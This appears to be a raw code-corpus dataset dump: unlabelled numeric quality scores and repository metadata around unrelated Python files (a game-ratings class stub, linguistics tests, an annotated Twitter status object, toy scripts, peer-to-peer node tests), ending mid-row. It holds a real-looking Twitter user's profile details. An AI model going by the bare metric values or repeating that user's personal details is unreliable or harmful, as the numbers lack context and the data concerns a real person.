0.769912
0.769912
0.769912
0.769912
0.769912
0.769912
0
0.043478
0.054795
146
4
65
36.5
0.775362
0.794521
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
12
14f403ff5226fa930d911489fa1691d6f0652f52
6,407
py
Python
loldib/getratings/models/NA/na_vayne/na_vayne_sup.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_vayne/na_vayne_sup.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_vayne/na_vayne_sup.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
from getratings.models.ratings import Ratings class NA_Vayne_Sup_Aatrox(Ratings): pass class NA_Vayne_Sup_Ahri(Ratings): pass class NA_Vayne_Sup_Akali(Ratings): pass class NA_Vayne_Sup_Alistar(Ratings): pass class NA_Vayne_Sup_Amumu(Ratings): pass class NA_Vayne_Sup_Anivia(Ratings): pass class NA_Vayne_Sup_Annie(Ratings): pass class NA_Vayne_Sup_Ashe(Ratings): pass class NA_Vayne_Sup_AurelionSol(Ratings): pass class NA_Vayne_Sup_Azir(Ratings): pass class NA_Vayne_Sup_Bard(Ratings): pass class NA_Vayne_Sup_Blitzcrank(Ratings): pass class NA_Vayne_Sup_Brand(Ratings): pass class NA_Vayne_Sup_Braum(Ratings): pass class NA_Vayne_Sup_Caitlyn(Ratings): pass class NA_Vayne_Sup_Camille(Ratings): pass class NA_Vayne_Sup_Cassiopeia(Ratings): pass class NA_Vayne_Sup_Chogath(Ratings): pass class NA_Vayne_Sup_Corki(Ratings): pass class NA_Vayne_Sup_Darius(Ratings): pass class NA_Vayne_Sup_Diana(Ratings): pass class NA_Vayne_Sup_Draven(Ratings): pass class NA_Vayne_Sup_DrMundo(Ratings): pass class NA_Vayne_Sup_Ekko(Ratings): pass class NA_Vayne_Sup_Elise(Ratings): pass class NA_Vayne_Sup_Evelynn(Ratings): pass class NA_Vayne_Sup_Ezreal(Ratings): pass class NA_Vayne_Sup_Fiddlesticks(Ratings): pass class NA_Vayne_Sup_Fiora(Ratings): pass class NA_Vayne_Sup_Fizz(Ratings): pass class NA_Vayne_Sup_Galio(Ratings): pass class NA_Vayne_Sup_Gangplank(Ratings): pass class NA_Vayne_Sup_Garen(Ratings): pass class NA_Vayne_Sup_Gnar(Ratings): pass class NA_Vayne_Sup_Gragas(Ratings): pass class NA_Vayne_Sup_Graves(Ratings): pass class NA_Vayne_Sup_Hecarim(Ratings): pass class NA_Vayne_Sup_Heimerdinger(Ratings): pass class NA_Vayne_Sup_Illaoi(Ratings): pass class NA_Vayne_Sup_Irelia(Ratings): pass class NA_Vayne_Sup_Ivern(Ratings): pass class NA_Vayne_Sup_Janna(Ratings): pass class NA_Vayne_Sup_JarvanIV(Ratings): pass class NA_Vayne_Sup_Jax(Ratings): pass class NA_Vayne_Sup_Jayce(Ratings): pass class NA_Vayne_Sup_Jhin(Ratings): pass class NA_Vayne_Sup_Jinx(Ratings): pass class NA_Vayne_Sup_Kalista(Ratings): pass class NA_Vayne_Sup_Karma(Ratings): pass class NA_Vayne_Sup_Karthus(Ratings): pass class NA_Vayne_Sup_Kassadin(Ratings): pass class NA_Vayne_Sup_Katarina(Ratings): pass class NA_Vayne_Sup_Kayle(Ratings): pass class NA_Vayne_Sup_Kayn(Ratings): pass class NA_Vayne_Sup_Kennen(Ratings): pass class NA_Vayne_Sup_Khazix(Ratings): pass class NA_Vayne_Sup_Kindred(Ratings): pass class NA_Vayne_Sup_Kled(Ratings): pass class NA_Vayne_Sup_KogMaw(Ratings): pass class NA_Vayne_Sup_Leblanc(Ratings): pass class NA_Vayne_Sup_LeeSin(Ratings): pass class NA_Vayne_Sup_Leona(Ratings): pass class NA_Vayne_Sup_Lissandra(Ratings): pass class NA_Vayne_Sup_Lucian(Ratings): pass class NA_Vayne_Sup_Lulu(Ratings): pass class NA_Vayne_Sup_Lux(Ratings): pass class NA_Vayne_Sup_Malphite(Ratings): pass class NA_Vayne_Sup_Malzahar(Ratings): pass class NA_Vayne_Sup_Maokai(Ratings): pass class NA_Vayne_Sup_MasterYi(Ratings): pass class NA_Vayne_Sup_MissFortune(Ratings): pass class NA_Vayne_Sup_MonkeyKing(Ratings): pass class NA_Vayne_Sup_Mordekaiser(Ratings): pass class NA_Vayne_Sup_Morgana(Ratings): pass class NA_Vayne_Sup_Nami(Ratings): pass class NA_Vayne_Sup_Nasus(Ratings): pass class NA_Vayne_Sup_Nautilus(Ratings): pass class NA_Vayne_Sup_Nidalee(Ratings): pass class NA_Vayne_Sup_Nocturne(Ratings): pass class NA_Vayne_Sup_Nunu(Ratings): pass class NA_Vayne_Sup_Olaf(Ratings): pass class NA_Vayne_Sup_Orianna(Ratings): pass class NA_Vayne_Sup_Ornn(Ratings): pass class NA_Vayne_Sup_Pantheon(Ratings): pass class NA_Vayne_Sup_Poppy(Ratings): pass class NA_Vayne_Sup_Quinn(Ratings): pass class NA_Vayne_Sup_Rakan(Ratings): pass class NA_Vayne_Sup_Rammus(Ratings): pass class NA_Vayne_Sup_RekSai(Ratings): pass class NA_Vayne_Sup_Renekton(Ratings): pass class NA_Vayne_Sup_Rengar(Ratings): pass class NA_Vayne_Sup_Riven(Ratings): pass class NA_Vayne_Sup_Rumble(Ratings): pass class NA_Vayne_Sup_Ryze(Ratings): pass class NA_Vayne_Sup_Sejuani(Ratings): pass class NA_Vayne_Sup_Shaco(Ratings): pass class NA_Vayne_Sup_Shen(Ratings): pass class NA_Vayne_Sup_Shyvana(Ratings): pass class NA_Vayne_Sup_Singed(Ratings): pass class NA_Vayne_Sup_Sion(Ratings): pass class NA_Vayne_Sup_Sivir(Ratings): pass class NA_Vayne_Sup_Skarner(Ratings): pass class NA_Vayne_Sup_Sona(Ratings): pass class NA_Vayne_Sup_Soraka(Ratings): pass class NA_Vayne_Sup_Swain(Ratings): pass class NA_Vayne_Sup_Syndra(Ratings): pass class NA_Vayne_Sup_TahmKench(Ratings): pass class NA_Vayne_Sup_Taliyah(Ratings): pass class NA_Vayne_Sup_Talon(Ratings): pass class NA_Vayne_Sup_Taric(Ratings): pass class NA_Vayne_Sup_Teemo(Ratings): pass class NA_Vayne_Sup_Thresh(Ratings): pass class NA_Vayne_Sup_Tristana(Ratings): pass class NA_Vayne_Sup_Trundle(Ratings): pass class NA_Vayne_Sup_Tryndamere(Ratings): pass class NA_Vayne_Sup_TwistedFate(Ratings): pass class NA_Vayne_Sup_Twitch(Ratings): pass class NA_Vayne_Sup_Udyr(Ratings): pass class NA_Vayne_Sup_Urgot(Ratings): pass class NA_Vayne_Sup_Varus(Ratings): pass class NA_Vayne_Sup_Vayne(Ratings): pass class NA_Vayne_Sup_Veigar(Ratings): pass class NA_Vayne_Sup_Velkoz(Ratings): pass class NA_Vayne_Sup_Vi(Ratings): pass class NA_Vayne_Sup_Viktor(Ratings): pass class NA_Vayne_Sup_Vladimir(Ratings): pass class NA_Vayne_Sup_Volibear(Ratings): pass class NA_Vayne_Sup_Warwick(Ratings): pass class NA_Vayne_Sup_Xayah(Ratings): pass class NA_Vayne_Sup_Xerath(Ratings): pass class NA_Vayne_Sup_XinZhao(Ratings): pass class NA_Vayne_Sup_Yasuo(Ratings): pass class NA_Vayne_Sup_Yorick(Ratings): pass class NA_Vayne_Sup_Zac(Ratings): pass class NA_Vayne_Sup_Zed(Ratings): pass class NA_Vayne_Sup_Ziggs(Ratings): pass class NA_Vayne_Sup_Zilean(Ratings): pass class NA_Vayne_Sup_Zyra(Ratings): pass
15.364508
46
0.761667
972
6,407
4.59465
0.151235
0.216301
0.370802
0.463502
0.797582
0.797582
0
0
0
0
0
0
0.173404
6,407
416
47
15.401442
0.843278
0
0
0.498195
0
0
0
0
0
0
0
0
0
1
0
true
0.498195
0.00361
0
0.501805
0
0
0
0
null
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
1
0
0
7
09568a2ea24e0ddacc089db4444e40b83c81cf89
3,868
py
Python
linguistica/tests/test_signature.py
inspiredideas/lxa5
156f825f5d56300779648e8b1ec6879acdaf47ad
[ "MIT" ]
29
2016-02-10T16:49:33.000Z
2022-03-24T05:54:08.000Z
linguistica/tests/test_signature.py
inspiredideas/lxa5
156f825f5d56300779648e8b1ec6879acdaf47ad
[ "MIT" ]
7
2017-09-17T19:19:59.000Z
2020-10-26T09:43:11.000Z
linguistica/tests/test_signature.py
inspiredideas/lxa5
156f825f5d56300779648e8b1ec6879acdaf47ad
[ "MIT" ]
18
2016-07-15T15:43:57.000Z
2021-09-02T05:57:32.000Z
# -*- encoding: utf8 -*- import os import linguistica as lxa from linguistica.datasets import brown as corpus_path data_dir = os.path.join(os.path.dirname(__file__), 'data') def test_stems_to_signatures(): lxa_object = lxa.read_corpus(corpus_path, max_word_tokens=50000) test_object = lxa_object.stems_to_signatures() expected_object_path = os.path.join(data_dir, 'stems_to_signatures.txt') expected_object = eval(open(expected_object_path).read()) assert test_object == expected_object def test_stems_to_words(): lxa_object = lxa.read_corpus(corpus_path, max_word_tokens=50000) test_object = lxa_object.stems_to_words() expected_object_path = os.path.join(data_dir, 'stems_to_words.txt') expected_object = eval(open(expected_object_path).read()) assert test_object == expected_object def test_signatures_to_stems(): lxa_object = lxa.read_corpus(corpus_path, max_word_tokens=50000) test_object = lxa_object.signatures_to_stems() expected_object_path = os.path.join(data_dir, 'signatures_to_stems.txt') expected_object = eval(open(expected_object_path).read()) assert test_object == expected_object def test_words_to_signatures(): lxa_object = lxa.read_corpus(corpus_path, max_word_tokens=50000) test_object = lxa_object.words_to_signatures() expected_object_path = os.path.join(data_dir, 'words_to_signatures.txt') expected_object = eval(open(expected_object_path).read()) assert test_object == expected_object def test_signatures_to_words(): lxa_object = lxa.read_corpus(corpus_path, max_word_tokens=50000) test_object = lxa_object.signatures_to_words() expected_object_path = os.path.join(data_dir, 'signatures_to_words.txt') expected_object = eval(open(expected_object_path).read()) assert test_object == expected_object def test_words_to_sigtransforms(): lxa_object = lxa.read_corpus(corpus_path, max_word_tokens=50000) test_object = lxa_object.words_to_sigtransforms() expected_object_path = os.path.join(data_dir, 'words_to_sigtransforms.txt') expected_object = eval(open(expected_object_path).read()) assert test_object == expected_object def test_affixes_to_signatures(): lxa_object = lxa.read_corpus(corpus_path, max_word_tokens=50000) test_object = lxa_object.affixes_to_signatures() expected_object_path = os.path.join(data_dir, 'affixes_to_signatures.txt') expected_object = eval(open(expected_object_path).read()) assert test_object == expected_object def test_signatures(): lxa_object = lxa.read_corpus(corpus_path, max_word_tokens=50000) test_object = set(lxa_object.signatures()) expected_object_path = os.path.join(data_dir, 'signatures_to_words.txt') expected_object = set(eval(open(expected_object_path).read()).keys()) assert test_object == expected_object def test_words_in_signatures(): lxa_object = lxa.read_corpus(corpus_path, max_word_tokens=50000) test_object = set(lxa_object.words_in_signatures()) expected_object_path = os.path.join(data_dir, 'words_to_signatures.txt') expected_object = set(eval(open(expected_object_path).read()).keys()) assert test_object == expected_object def test_affixes(): lxa_object = lxa.read_corpus(corpus_path, max_word_tokens=50000) test_object = set(lxa_object.affixes()) expected_object_path = os.path.join(data_dir, 'affixes_to_signatures.txt') expected_object = set(eval(open(expected_object_path).read()).keys()) assert test_object == expected_object def test_stems(): lxa_object = lxa.read_corpus(corpus_path, max_word_tokens=50000) test_object = set(lxa_object.stems()) expected_object_path = os.path.join(data_dir, 'stems_to_words.txt') expected_object = set(eval(open(expected_object_path).read()).keys()) assert test_object == expected_object
35.814815
79
0.767839
554
3,868
4.935018
0.070397
0.225311
0.144843
0.064375
0.925018
0.925018
0.925018
0.925018
0.91624
0.908925
0
0.016612
0.12849
3,868
107
80
36.149533
0.794423
0.005688
0
0.585714
0
0
0.066077
0.055671
0
0
0
0
0.157143
1
0.157143
false
0
0.042857
0
0.2
0
0
0
0
null
1
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
0959202b6c45e49e8b5e322e5d24b60fb9a0103b
13,689
py
Python
twitter-gcloud/sav/status.__dict__.py
christnp/e6889-project
7dc6814edab5f9dfcaa06bf1b23312d6930dd012
[ "MIT" ]
null
null
null
twitter-gcloud/sav/status.__dict__.py
christnp/e6889-project
7dc6814edab5f9dfcaa06bf1b23312d6930dd012
[ "MIT" ]
null
null
null
twitter-gcloud/sav/status.__dict__.py
christnp/e6889-project
7dc6814edab5f9dfcaa06bf1b23312d6930dd012
[ "MIT" ]
null
null
null
#—————————————————————————————————————————————————————————————————————————————— # The file has the content of the attributes dictionary of a received # status-update object. # - Shows the Twitter API JSON data and their. # - Shows component objects — author/user, entities, extended_entities, and # place # - Inline annotations are mine. # # Rashad Barghouti # Spring 2019 #—————————————————————————————————————————————————————————————————————————————— { 'quote_count': 0, 'contributors': None, 'truncated': True, 'text': u'The good news for now is that even when you\'re eulogized, yet are still living -\n\nGod knows the difference, and \n\n"\u2026 https://t.co/OwoyJDOhEC', 'is_quote_status': False, 'in_reply_to_status_id': None, 'reply_count': 0, 'id': 1121341650528362508, 'favorite_count': 0, '_api': <tweepy.api.API object at 0x7fe0ac28c250>, 'source': u'Twitter for Android', # Begin Status JSON '_json': { u'quote_count': 0, u'contributors': None, u'truncated': True, u'text': u'The good news for now is that even when you\'re eulogized, yet are still living -\n\nGod knows the difference, and \n\n"\u2026 https://t.co/OwoyJDOhEC', u'is_quote_status': False, u'in_reply_to_status_id': None, u'reply_count': 0, u'id': 1121341650528362508, u'favorite_count': 0, u'entities': { u'user_mentions': [], u'symbols': [], u'hashtags': [], u'urls': [{ u'url': u'https://t.co/OwoyJDOhEC', u'indices': [117, 140], u'expanded_url': u'https://twitter.com/i/web/status/1121341650528362508', u'display_url': u'twitter.com/i/web/status/1\u2026' }] }, u'retweeted': False, u'coordinates': None, u'timestamp_ms': u'1556183657663', u'source': u'<a href="http://twitter.com/download/android" rel="nofollow">Twitter for Android</a>', u'in_reply_to_screen_name': None, u'id_str': u'1121341650528362508', u'retweet_count': 0, u'in_reply_to_user_id': None, u'favorited': False, u'user': { u'follow_request_sent': None, u'profile_use_background_image': True, u'default_profile_image': False, u'id': 993917262590562305, u'default_profile': True, u'verified': False, u'profile_image_url_https': u'https://pbs.twimg.com/profile_images/1112960475296423936/KqDoRTMS_normal.jpg', u'profile_sidebar_fill_color': u'DDEEF6', u'profile_text_color': u'333333', u'followers_count': 57, u'profile_sidebar_border_color': u'C0DEED', u'id_str': u'993917262590562305', u'profile_background_color': u'F5F8FA', u'listed_count': 5, u'profile_background_image_url_https': u'', u'utc_offset': None, u'statuses_count': 11177, u'description': u'Sourced from the Peculiar but still Pure Saint James River.', u'friends_count': 13, u'location': u'Manhattan, NY', u'profile_link_color': u'1DA1F2', u'profile_image_url': u'http://pbs.twimg.com/profile_images/1112960475296423936/KqDoRTMS_normal.jpg', u'following': None, u'geo_enabled': True, u'profile_banner_url': u'https://pbs.twimg.com/profile_banners/993917262590562305/1551803625', u'profile_background_image_url': u'', u'name': u'Rhys Tresi Myrrh', u'lang': u'en', u'profile_background_tile': False, u'favourites_count': 207, u'screen_name': u'PrairiesDawn', u'notifications': None, u'url': None, u'created_at': u'Tue May 08 18:15:16 +0000 2018', u'contributors_enabled': False, u'time_zone': None, u'protected': False, u'translator_type': u'none', u'is_translator': False }, u'geo': None, u'in_reply_to_user_id_str': None, u'lang': u'en', u'extended_tweet': { u'display_text_range': [0, 279], u'entities': { u'user_mentions': [], u'symbols': [], u'hashtags': [{ u'indices': [206, 212], u'text': u'olive' }], u'urls': [] }, u'full_text': u'The good news for now is that even when you\'re eulogized, yet are still living -\n\nGod knows the difference, and \n\n"Raises you up" as the way to "raise awareness to your plight"\n\nThe "beating of you" as the #olive branch he knew you to be in his intent when he sent you, Assigned.' }, u'created_at': u'Thu Apr 25 09:14:17 +0000 2019', u'filter_level': u'low', u'in_reply_to_status_id_str': None, u'place': { u'full_name': u'Manhattan, NY', u'url': u'https://api.twitter.com/1.1/geo/id/01a9a39529b27f36.json', u'country': u'United States', u'place_type': u'city', u'bounding_box': { u'type': u'Polygon', u'coordinates': [[[-74.026675, 40.683935], [-74.026675, 40.877483], [-73.910408, 40.877483], [-73.910408, 40.683935]]] }, u'country_code': u'US', u'attributes': {}, u'id': u'01a9a39529b27f36', u'name': u'Manhattan' } }, # End Status JSON 'coordinates': None, 'timestamp_ms': u'1556183657663', 'entities': { u'user_mentions': [], u'symbols': [], u'hashtags': [], u'urls': [{ u'url': u'https://t.co/OwoyJDOhEC', u'indices': [117, 140], u'expanded_url': u'https://twitter.com/i/web/status/1121341650528362508', u'display_url': u'twitter.com/i/web/status/1\u2026' }] }, 'in_reply_to_screen_name': None, 'in_reply_to_user_id': None, 'retweet_count': 0, 'id_str': u'1121341650528362508', 'favorited': False, 'source_url': u'http://twitter.com/download/android', 'user': User(follow_request_sent=None, profile_use_background_image=True, _json={ u'follow_request_sent': None, u'profile_use_background_image': True, u'default_profile_image': False, u'id': 993917262590562305, u'default_profile': True, u'verified': False, u'profile_image_url_https': u'https://pbs.twimg.com/profile_images/1112960475296423936/KqDoRTMS_normal.jpg', u'profile_sidebar_fill_color': u'DDEEF6', u'profile_text_color': u'333333', u'followers_count': 57, u'profile_sidebar_border_color': u'C0DEED', u'id_str': u'993917262590562305', u'profile_background_color': u'F5F8FA', u'listed_count': 5, u'profile_background_image_url_https': u'', u'utc_offset': None, u'statuses_count': 11177, u'description': u'Sourced from the Peculiar but still Pure Saint James River.', u'friends_count': 13, u'location': u'Manhattan, NY', u'profile_link_color': u'1DA1F2', u'profile_image_url': u'http://pbs.twimg.com/profile_images/1112960475296423936/KqDoRTMS_normal.jpg', u'following': None, u'geo_enabled': True, u'profile_banner_url': u'https://pbs.twimg.com/profile_banners/993917262590562305/1551803625', u'profile_background_image_url': u'', u'name': u'Rhys Tresi Myrrh', u'lang': u'en', u'profile_background_tile': False, u'favourites_count': 207, u'screen_name': u'PrairiesDawn', u'notifications': None, u'url': None, u'created_at': u'Tue May 08 18:15:16 +0000 2018', u'contributors_enabled': False, u'time_zone': None, u'protected': False, u'translator_type': u'none', u'is_translator': False }, # End User JSON id=993917262590562305, _api=<tweepy.api.API object at 0x7fe0ac28c250>, verified=False, translator_type=u'none', profile_image_url_https=u'https://pbs.twimg.com/profile_images/1112960475296423936/KqDoRTMS_normal.jpg', profile_sidebar_fill_color=u'DDEEF6', is_translator=False, geo_enabled=True, profile_text_color=u'333333', followers_count=57, protected=False, location=u'Manhattan, NY', default_profile_image=False, id_str=u'993917262590562305', utc_offset=None, statuses_count=11177, description=u'Sourced from the Peculiar but still Pure Saint James River.', friends_count=13, profile_link_color=u'1DA1F2', profile_image_url=u'http://pbs.twimg.com/profile_images/1112960475296423936/KqDoRTMS_normal.jpg', notifications=None, profile_background_image_url_https=u'', profile_background_color=u'F5F8FA', profile_banner_url=u'https://pbs.twimg.com/profile_banners/993917262590562305/1551803625', profile_background_image_url=u'', screen_name=u'PrairiesDawn', lang=u'en', profile_background_tile=False, favourites_count=207, name=u'Rhys Tresi Myrrh', url=None, created_at=datetime.datetime(2018, 5, 8, 18, 15, 16), contributors_enabled=False, time_zone=None, profile_sidebar_border_color=u'C0DEED', default_profile=True, following=False, listed_count=5), 'geo': None, 'in_reply_to_user_id_str': None, 'lang': u'en', 'extended_tweet': { u'display_text_range': [0, 279], u'entities': { u'user_mentions': [], u'symbols': [], u'hashtags': [{ u'indices': [206, 212], u'text': u'olive' }], u'urls': [] }, u'full_text': u'The good news for now is that even when you\'re eulogized, yet are still living -\n\nGod knows the difference, and \n\n"Raises you up" as the way to "raise awareness to your plight"\n\nThe "beating of you" as the #olive branch he knew you to be in his intent when he sent you, Assigned.' }, 'created_at': datetime.datetime(2019, 4, 25, 9, 14, 17), 'author': User( follow_request_sent=None, profile_use_background_image=True, _json= { u'follow_request_sent': None, u'profile_use_background_image': True, u'default_profile_image': False, u'id': 993917262590562305, u'default_profile': True, u'verified': False, u'profile_image_url_https': u'https://pbs.twimg.com/profile_images/1112960475296423936/KqDoRTMS_normal.jpg', u'profile_sidebar_fill_color': u'DDEEF6', u'profile_text_color': u'333333', u'followers_count': 57, u'profile_sidebar_border_color': u'C0DEED', u'id_str': u'993917262590562305', u'profile_background_color': u'F5F8FA', u'listed_count': 5, u'profile_background_image_url_https': u'', u'utc_offset': None, u'statuses_count': 11177, u'description': u'Sourced from the Peculiar but still Pure Saint James River.', u'friends_count': 13, u'location': u'Manhattan, NY', u'profile_link_color': u'1DA1F2', u'profile_image_url': u'http://pbs.twimg.com/profile_images/1112960475296423936/KqDoRTMS_normal.jpg', u'following': None, u'geo_enabled': True, u'profile_banner_url': u'https://pbs.twimg.com/profile_banners/993917262590562305/1551803625', u'profile_background_image_url': u'', u'name': u'Rhys Tresi Myrrh', u'lang': u'en', u'profile_background_tile': False, u'favourites_count': 207, u'screen_name': u'PrairiesDawn', u'notifications': None, u'url': None, u'created_at': u'Tue May 08 18:15:16 +0000 2018', u'contributors_enabled': False, u'time_zone': None, u'protected': False, u'translator_type': u'none', u'is_translator': False }, id=993917262590562305, _api=<tweepy.api.API object at 0x7fe0ac28c250>, verified=False, translator_type=u'none', profile_image_url_https=u'https://pbs.twimg.com/profile_images/1112960475296423936/KqDoRTMS_normal.jpg', profile_sidebar_fill_color=u'DDEEF6', is_translator=False, geo_enabled=True, profile_text_color=u'333333', followers_count=57, protected=False, location=u'Manhattan, NY', default_profile_image=False, id_str=u'993917262590562305', utc_offset=None, statuses_count=11177, description=u'Sourced from the Peculiar but still Pure Saint James River.', friends_count=13, profile_link_color=u'1DA1F2', profile_image_url=u'http://pbs.twimg.com/profile_images/1112960475296423936/KqDoRTMS_normal.jpg', notifications=None, profile_background_image_url_https=u'', profile_background_color=u'F5F8FA', profile_banner_url=u'https://pbs.twimg.com/profile_banners/993917262590562305/1551803625', profile_background_image_url=u'', screen_name=u'PrairiesDawn', lang=u'en', profile_background_tile=False, favourites_count=207, name=u'Rhys Tresi Myrrh', url=None, created_at=datetime.datetime(2018, 5, 8, 18, 15, 16), contributors_enabled=False, time_zone=None, profile_sidebar_border_color=u'C0DEED', default_profile=True, following=False, listed_count=5), # End author object 'filter_level': u'low', 'in_reply_to_status_id_str': None, # Begin Place object 'place': Place(_api=<tweepy.api.API object at 0x7fe0ac28c250>, country_code=u'US', url=u'https://api.twitter.com/1.1/geo/id/01a9a39529b27f36.json', country=u'United States', place_type=u'city', bounding_box=BoundingBox(_api=<tweepy.api.API object at 0x7fe0ac28c250>, type=u'Polygon', coordinates=[[[-74.026675, 40.683935], [-74.026675, 40.877483], [-73.910408, 40.877483], [-73.910408, 40.683935]]]), full_name=u'Manhattan, NY', attributes={}, id=u'01a9a39529b27f36', name=u'Manhattan'), # End Place object 'retweeted': False } # End Status object
37.814917
124
0.640003
1,851
13,689
4.616424
0.132361
0.035576
0.01931
0.031597
0.837332
0.824693
0.809011
0.785255
0.785255
0.785255
0
0.107882
0.213164
13,689
361
125
37.919668
0.670876
0.04741
0
0.648256
0
0.005814
0.431691
0.074707
0
0
0.005364
0
0
0
null
null
0
0
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
eeab801f678c46e6687caadcdd9d6b3a22c5321e
166
py
Python
function_test.py
albert9000/python_experiments
4bea5b74a3b8dc1eb743cc902189253e6acbabdf
[ "Apache-2.0" ]
null
null
null
function_test.py
albert9000/python_experiments
4bea5b74a3b8dc1eb743cc902189253e6acbabdf
[ "Apache-2.0" ]
null
null
null
function_test.py
albert9000/python_experiments
4bea5b74a3b8dc1eb743cc902189253e6acbabdf
[ "Apache-2.0" ]
null
null
null
def print_lyrics(): print "Hello" print "Is it me you're looking for" def repeat_lyrics(): print print_lyrics() print print_lyrics() repeat_lyrics()
18.444444
39
0.686747
24
166
4.541667
0.5
0.302752
0.293578
0.40367
0
0
0
0
0
0
0
0
0.210843
166
9
40
18.444444
0.832061
0
0
0.285714
0
0
0.191617
0
0
0
0
0
0
0
null
null
0
0
null
null
0.714286
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
7
eebaca23cb5ef16d980ff6742b5fd6ff871e65b4
76
py
Python
Prueva.py
dannieldev/Fundamentos-de-Python
63bf92c7256b373b631cae3ae9a80a3a5071f61d
[ "MIT" ]
null
null
null
Prueva.py
dannieldev/Fundamentos-de-Python
63bf92c7256b373b631cae3ae9a80a3a5071f61d
[ "MIT" ]
null
null
null
Prueva.py
dannieldev/Fundamentos-de-Python
63bf92c7256b373b631cae3ae9a80a3a5071f61d
[ "MIT" ]
null
null
null
def mike(): print("hola") mike() mike() mike() mike() mike()
7.6
18
0.473684
9
76
4
0.444444
0.888889
1
0.888889
0
0
0
0
0
0
0
0
0.302632
76
9
19
8.444444
0.679245
0
0
0.714286
0
0
0.060606
0
0
0
0
0
0
1
0.142857
true
0
0
0
0.142857
0.142857
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
eeed880f48d94c74f115802f2519c8500522630e
5,159
py
Python
x20bf/depends/p2p/p2pnetwork/tests/test_nodeconnection.py
bitkarrot/x20bf
cf61146fcb9aadfb4b6d6e2a45bf4ac7a3217345
[ "Apache-2.0" ]
4
2022-02-20T07:25:43.000Z
2022-03-01T21:15:40.000Z
0x20bf/depends/p2p/p2pnetwork/tests/test_nodeconnection.py
bitkarrot/0x20bf
d5c6c61289783cb69adc44622551eb0ced99f97d
[ "Apache-2.0" ]
8
2022-02-26T15:20:47.000Z
2022-03-09T03:19:21.000Z
0x20bf/depends/p2p/p2pnetwork/tests/test_nodeconnection.py
bitkarrot/0x20bf
d5c6c61289783cb69adc44622551eb0ced99f97d
[ "Apache-2.0" ]
2
2022-02-21T04:25:55.000Z
2022-02-22T22:50:42.000Z
import struct import time import unittest from p2pnetwork.node import Node """ Author: Maurice Snoeren Version: 0.1 beta (use at your own risk) Testing the node communication by sending large amount of str and dict data to see whether the node is correctly handling this. TODO: testing sending bytes TODO: bufferoverlow testing """ class TestNode(unittest.TestCase): """Testing the NodeConnection class.""" def test_node_send_data_str(self): """Testing whether NodeConnections handle sending str well enough.""" global messages messages = [] class MyTestNode(Node): def __init__(self, host, port): super(MyTestNode, self).__init__(host, port, None) global messages messages.append("mytestnode started") def node_message(self, node, data): global messages messages.append(type(data)) messages.append(len(data)) node1 = MyTestNode("127.0.0.1", 10001) node2 = MyTestNode("127.0.0.1", 10002) node3 = MyTestNode("127.0.0.1", 10003) node1.start() node2.start() node3.start() node1.connect_with_node("127.0.0.1", 10002) time.sleep(2) node3.connect_with_node("127.0.0.1", 10001) time.sleep(2) # Create large message; large than used buffer 4096! data = "" for i in range(5000): data += "a" # Send multiple messages after each other (5 * 5000 bytes) node1.send_to_nodes(data) node1.send_to_nodes(data) node1.send_to_nodes(data) node1.send_to_nodes(data) node1.send_to_nodes(data) time.sleep(7) node1.stop() node2.stop() node3.stop() node1.join() node2.join() node3.join() self.assertTrue( len(messages) > 0, "There should have been sent some messages around!" ) self.assertEqual( len(messages), 23, "There should have been sent 23 message around!" ) self.assertEqual( messages[0], "mytestnode started", "MyTestNode should have seen this event!" ) self.assertEqual( messages[1], "mytestnode started", "MyTestNode should have seen this event!" ) self.assertEqual( messages[2], "mytestnode started", "MyTestNode should have seen this event!" ) # Check if all the message are correctly received for i in range(0, 10, 2): self.assertEqual(str(messages[3 + i]), "<class 'str'>") self.assertEqual(messages[4 + i], 5000) def test_node_send_data_dict(self): """Testing whether NodeConnections handle sending dict well enough.""" global messages messages = [] class MyTestNode(Node): def __init__(self, host, port): super(MyTestNode, self).__init__(host, port, None) global messages messages.append("mytestnode started") def node_message(self, node, data): global messages messages.append(type(data)) messages.append(len(data["values"])) # messages.append("instance byte:" + isinstance(data, bytes)) # Check the message here wether it is correct! node1 = MyTestNode("127.0.0.1", 10001) node2 = MyTestNode("127.0.0.1", 10002) node3 = MyTestNode("127.0.0.1", 10003) node1.start() node2.start() node3.start() node1.connect_with_node("127.0.0.1", 10002) time.sleep(2) node3.connect_with_node("127.0.0.1", 10001) time.sleep(2) # Create large message; large than used buffer 4096! data = {"type": "My Dict", "values": []} for i in range(5000): data["values"].append("i: " + str(i)) # Send multiple messages after each other (5 * 5000 bytes) node1.send_to_nodes(data) node1.send_to_nodes(data) node1.send_to_nodes(data) node1.send_to_nodes(data) node1.send_to_nodes(data) time.sleep(7) node1.stop() node2.stop() node3.stop() node1.join() node2.join() node3.join() self.assertTrue( len(messages) > 0, "There should have been sent some messages around!" ) self.assertEqual( len(messages), 23, "There should have been sent 23 message around!" ) self.assertEqual( messages[0], "mytestnode started", "MyTestNode should have seen this event!" ) self.assertEqual( messages[1], "mytestnode started", "MyTestNode should have seen this event!" ) self.assertEqual( messages[2], "mytestnode started", "MyTestNode should have seen this event!" ) # Check if all the message are correctly received for i in range(0, 10, 2): self.assertEqual(str(messages[3 + i]), "<class 'dict'>") self.assertEqual(messages[4 + i], 5000)
31.078313
88
0.578213
608
5,159
4.817434
0.208882
0.061454
0.017071
